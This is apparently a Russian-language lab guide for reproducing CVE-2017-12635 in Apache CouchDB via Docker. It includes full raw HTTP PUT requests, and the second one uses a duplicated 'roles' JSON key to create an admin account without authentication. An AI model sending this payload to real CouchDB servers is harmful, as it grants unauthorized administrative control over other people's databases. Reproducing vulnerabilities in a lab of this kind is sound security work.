
Docker-среда для воспроизведения CVE-2017-12635 в Apache CouchDB — вертикальное повышение привилегий через несогласованность JSON-парсера, позволяющее создание администратора без аутентификации.
Apache CouchDB — это база данных с открытым исходным кодом, ориентированная на простоту использования и являющаяся «полностью веб-ориентированной базой данных». Это NoSQL-база данных, использующая JSON в качестве формата хранения, JavaScript в качестве языка запросов, а MapReduce и HTTP в качестве API. Она широко применяется: например, BBC использует её на своей платформе динамического контента, Credit Suisse — в рыночной структуре своего внутреннего товарного отдела, Meebo — на своей социальной платформе (веб и приложения).
15 ноября 2017 года были раскрыты CVE-2017-12635 и CVE-2017-12636. CVE-2017-12635 вызван различиями в способах разбора JSON в Erlang и JavaScript, что приводит к различиям в выполнении операторов. Эта уязвимость позволяет любому пользователю создавать администратора и относится к уязвимостям вертикального обхода привилегий.
Затронутые версии: меньше 1.7.0 и меньше 2.1.1
Ссылки:
Сборка и запуск окружения:
docker-compose build
docker-compose up -d
После запуска окружения перейдите по адресу http://your-ip:5984/_utils/ — вы увидите веб-страницу, что означает, что CouchDB успешно запущен. Но мы не знаем пароль и не можем войти в систему.
Сначала отправьте следующий пакет:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
Как видно, возвращается ошибка 403: {"error":"forbidden","reason":"Only _admin may set roles"} — только администратор может назначать роль Role:
Отправка пакета, содержащего два поля roles, позволяет обойти ограничение:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
Администратор успешно создан, имя учётной записи и пароль — vulhub:

Снова зайдите на http://your-ip:5984/_utils/, введите имя пользователя и пароль vulhub — вход выполнен успешно:
